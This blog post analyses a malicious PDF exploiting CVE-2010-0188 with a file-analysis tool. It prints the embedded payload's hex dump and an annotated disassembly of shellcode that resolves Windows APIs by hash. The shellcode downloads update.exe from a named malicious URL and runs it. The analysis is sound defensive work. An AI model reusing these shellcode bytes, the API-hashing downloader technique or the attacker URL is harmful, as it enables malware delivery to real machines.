Given the good reception of the last post, I’ve decided to dedicate more time posting use cases for the Profiler. Today we’re going to analyze a PDF exploiting CVE-2010-0188. Quite old as the name can tell, but it doesn’t really matter for the sake of the demonstration. There’s no real criteria why I picked this one in particular, I just downloaded a pack of malicious PDFs from contagiodump.blogspot.com.
Opening the Zip archive with the Profiler, I chose a random PDF. It is flagged as risky by the Profiler, because it contains an interactive form. If we take a look at the embedded form it’s easy to recognize an embedded image in it which basically represents the whole data of the form. Let’s load this image as an embedded file:
We need to specify the ‘convert/from_base64‘ filter in order to load the actual data. The content of the image is quite obvious. Lots of repetitive bytes, some suspicious strings and some bytes with higher entropy which a trained eye can easily spot as being x86 instructions.
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F Ascii
00000000 4D 4D 00 2A 00 00 20 38 0C 90 0C 90 0C 90 0C 90 MM.*...8........
00000010 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 ................
00000020 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 ................
00000030 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 ................
00000040 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 ................
00000050 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 ................
00000060 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 ................
00000070 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 ................
00000080 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 ................
00000090 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 ................
000000A0 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 ................
000000B0 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 ................
000000C0 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 ................
000000D0 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 ................
000000E0 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 ................
000000F0 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 ................
00000100 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 ................
00000110 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 ................
00000120 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 0C 90 ................
00000130 0C 90 0C 90 EB 46 5F 31 C9 83 E9 01 89 FE 30 C0 .....F_1......0.
00000140 2C 01 F2 AE FE 47 FF 89 FB 30 C0 2C 01 F2 AE FE ,....G...0.,....
00000150 47 FF 89 FD F2 AE FE 47 FF EB 71 60 31 C9 64 8B G......G..q1.d.
00000160 71 30 8B 76 0C 8B 76 1C 8B 5E 08 8B 56 20 8B 36 q0.v..v..^..V..6
00000170 66 39 4A 18 75 F2 89 5C 24 1C 61 C3 EB 5B 60 8B f9J.u..$.a..[
.
00000180 6C 24 24 8B 45 3C 8B 54 05 78 01 EA 8B 4A 18 8B l$$.E<.T.x...J..
00000190 5A 20 01 EB E3 34 49 8B 34 8B 01 EE 31 FF 31 C0 Z....4I.4...1.1.
000001A0 FC AC 84 C0 74 07 C1 CF 12 01 C7 EB F4 3B 7C 24 ....t........;|$
000001B0 28 75 E1 8B 5A 24 01 EB 66 8B 0C 4B 8B 5A 1C 01 (u..Z$..f..K.Z..
000001C0 EB 8B 04 8B 01 E8 89 44 24 1C 61 C3 EB 54 31 D2 .......D$.a..T1.
000001D0 52 52 53 55 52 FF D0 EB 1A EB 5D E8 7B FF FF FF RRSUR.....].{...
000001E0 BA E7 BA 8B C4 52 50 E8 92 FF FF FF 31 D2 52 FF .....RP.....1.R.
000001F0 D0 EB 2D E8 63 FF FF FF BA AA 6E 8A F3 52 50 E8 ..-.c.....n..RP.
00000200 7A FF FF FF 31 D2 83 C2 FF 83 EA FA 52 53 FF D0 z...1.......RS..
00000210 EB C9 BA 47 7D C8 A0 52 50 E8 60 FF FF FF EB AE ...G}..RP.`.....
00000220 EB 5D E8 34 FF FF FF BA 12 CE 1A 09 52 50 E8 4B .].4........RP.K
00000230 FF FF FF 56 FF D0 EB DA E8 F9 FE FF FF 75 72 6C ...V.........url
00000240 6D 6F 6E 2E 64 6C 6C FF 2E 2E 2F 75 70 64 61 74 mon.dll.../updat
00000250 65 2E 65 78 65 FF 68 74 74 70 3A 2F 2F 76 69 63 e.exe.http://vic
00000260 74 6F 72 6E 69 67 6C 69 6F 2E 69 6E 66 6F 2F 34 torniglio.info/4
00000270 33 68 62 74 72 2F 64 6F 77 6E 6C 6F 61 64 5F 66 3hbtr/download_f
00000280 69 6C 65 2E 70 68 70 3F 65 3D 41 64 6F 62 65 2D ile.php?e=Adobe-
00000290 39 30 2D 32 30 31 30 2D 30 31 38 38 FF CD 03 3E 90-2010-0188...>
000002A0 3E 3E 3E 3E 3E 3E 3E 3E 3E 3E 3E 3E 3E 3E 3E 3E >>>>>>>>>>>>>>>>
000002B0 3E 3E 3E 3E 3E 3E 3E 3E 3E 3E 3E 3E 3E 3E 3E 3E >>>>>>>>>>>>>>>>
more brackets...
The repetition of the 0x0C 0x90 sequence is easily identifiable as a slide for the shellcode that follows:
00001000: or al, 0x90
00001002: or al, 0x90
00001004: or al, 0x90
00001006: or al, 0x90
; etc.
Thus, the space after the slide is the start of the actual shellcode. Let’s disassemble it with the Profiler:
In order to quickly analyze the shellcode we can debug it. We select the portion from 0x134 to 0x29E, press Ctrl+R and run the action ‘Shellcode to executable‘. If you don’t have this action, update your copy of the Profiler.
What it does is to create a Portable Executable out from the bytes selected in the hex view, so that we can easily debug them with every debugger.
Optionally we can specify an application to automatically open the generated file. In this case, as you can see, I have selected OllyDbg.
Here’s the analysis of the shellcode:
00001000: jmp 0x1048
00001002: pop edi ; edi = start of strings
00001003: xor ecx, ecx
00001005: sub ecx, 0x1 ; ecx = 0xFFFFFFFF
00001008: mov esi, edi ; esi = 0x1108
0000100A: xor al, al
0000100C: sub al, 0x1 ; al = 0xFF
0000100E: repne scasb byte ptr [edi] ; find 0xFF terminator
00001010: inc byte ptr [edi-0x1] ; set to 0
00001013: mov ebx, edi ; repeats for the second string
00001015: xor al, al
00001017: sub al, 0x1
00001019: repne scasb byte ptr [edi]
0000101B: inc byte ptr [edi-0x1]
0000101E: mov ebp, edi ; repeats for the third string
00001020: repne scasb byte ptr [edi]
00001022: inc byte ptr [edi-0x1]
; now the three strings 'urlmon.dll', '../update.exe' and
; 'http://victorniglio.info/43hbtr/download_file.php?e=Adobe-90-2010-0188'
; are 0 terminated
00001025: jmp 0x1098
00001027: pushad ; retrieves the base of kernel32.dll
00001028: xor ecx, ecx
0000102A: mov esi, dword ptr fs:[ecx+0x30]
0000102E: mov esi, dword ptr [esi+0xc]
00001031: mov esi, dword ptr [esi+0x1c]
00001034: mov ebx, dword ptr [esi+0x8]
00001037: mov edx, dword ptr [esi+0x20]
0000103A: mov esi, dword ptr [esi]
0000103C: cmp word ptr [edx+0x18], cx
00001040: jnz 0x1034
00001042: mov dword ptr [esp+0x1c], ebx ; ebx = kernel32.dll base
00001046: popad
00001047: ret
00001048: jmp 0x10a5
0000104A: pushad ; this function retrieves the address of an API
0000104B: mov ebp, dword ptr [esp+0x24]
0000104F: mov eax, dword ptr [ebp+0x3c]
00001052: mov edx, dword ptr [ebp+eax*1+0x78]
00001056: add edx, ebp
00001058: mov ecx, dword ptr [edx+0x18]
0000105B: mov ebx, dword ptr [edx+0x20]
0000105E: add ebx, ebp
00001060: jecxz 0x1096
00001062: dec ecx
00001063: mov esi, dword ptr [ebx+ecx*4]
00001066: add esi, ebp
00001068: xor edi, edi
0000106A: xor eax, eax
0000106C: cld
0000106D: lodsb byte ptr [esi]
0000106E: test al, al
00001070: jz 0x1079
00001072: ror edi, 0x12
00001075: add edi, eax
00001077: jmp 0x106d
00001079: cmp edi, dword ptr [esp+0x28]
0000107D: jnz 0x1060
0000107F: mov ebx, dword ptr [edx+0x24]
00001082: add ebx, ebp
00001084: mov cx, word ptr [ebx+ecx*2]
00001088: mov ebx, dword ptr [edx+0x1c]
0000108B: add ebx, ebp
0000108D: mov eax, dword ptr [ebx+ecx*4]
00001090: add eax, ebp
00001092: mov dword ptr [esp+0x1c], eax ; eax = API address
00001096: popad
00001097: ret
00001098: jmp 0x10ee
0000109A: xor edx, edx
0000109C: push edx ; lpfnCB
0000109D: push edx ; dwReserved
0000109E: push ebx ; szFileName = ../update.exe
0000109F: push ebp ; szURL = http://victorniglio.info/43hbtr/download_file.php?e=Adobe-90-2010-0188
000010A0: push edx ; pCaller
000010A1: call eax ; URLDownloadToFileA
000010A3: jmp 0x10bf
000010A5: jmp 0x1104
000010A7: call 0x1027 ; after the call eax = kernel32.dll base
000010AC: mov edx, 0xc48bbae7
000010B1: push edx
000010B2: push eax
000010B3: call 0x104a ; retrieve address of ExitProcess
000010B8: xor edx, edx
000010BA: push edx
000010BB: call eax ; ExitProcess
000010BD: jmp 0x10ec
000010BF: call 0x1027 ; after the call eax = kernel32.dll base
000010C4: mov edx, 0xf38a6eaa
000010C9: push edx
000010CA: push eax
000010CB: call 0x104a ; retrieve address of WinExec
000010D0: xor edx, edx
000010D2: add edx, 0xffffffff
000010D5: sub edx, 0xfffffffa
000010D8: push edx ; uCmdShow = 5
000010D9: push ebx ; lpCmdLine = ../update.exe
000010DA: call eax ; WinExec
000010DC: jmp 0x10a7
000010DE: mov edx, 0xa0c87d47
000010E3: push edx
000010E4: push eax
000010E5: call 0x104a ; retrieve address of URLDownloadToFileA
000010EA: jmp 0x109a
000010EC: jmp 0x114b ; jumps to int 3
000010EE: call 0x1027 ; after the call eax = kernel32.dll base
000010F3: mov edx, 0x91ace12
000010F8: push edx
000010F9: push eax
000010FA: call 0x104a ; retrieve address of LoadLibraryA
000010FF: push esi ; "urlmon.dll
00001100: call eax ; LoadLibraryA
00001102: jmp 0x10de
00001104: call 0x1002
Very standard code as you can see. It downloads a file with URLDownloadToFileA, executes it with WinExec and quits.
The next time I’ll try to pick out something more recent.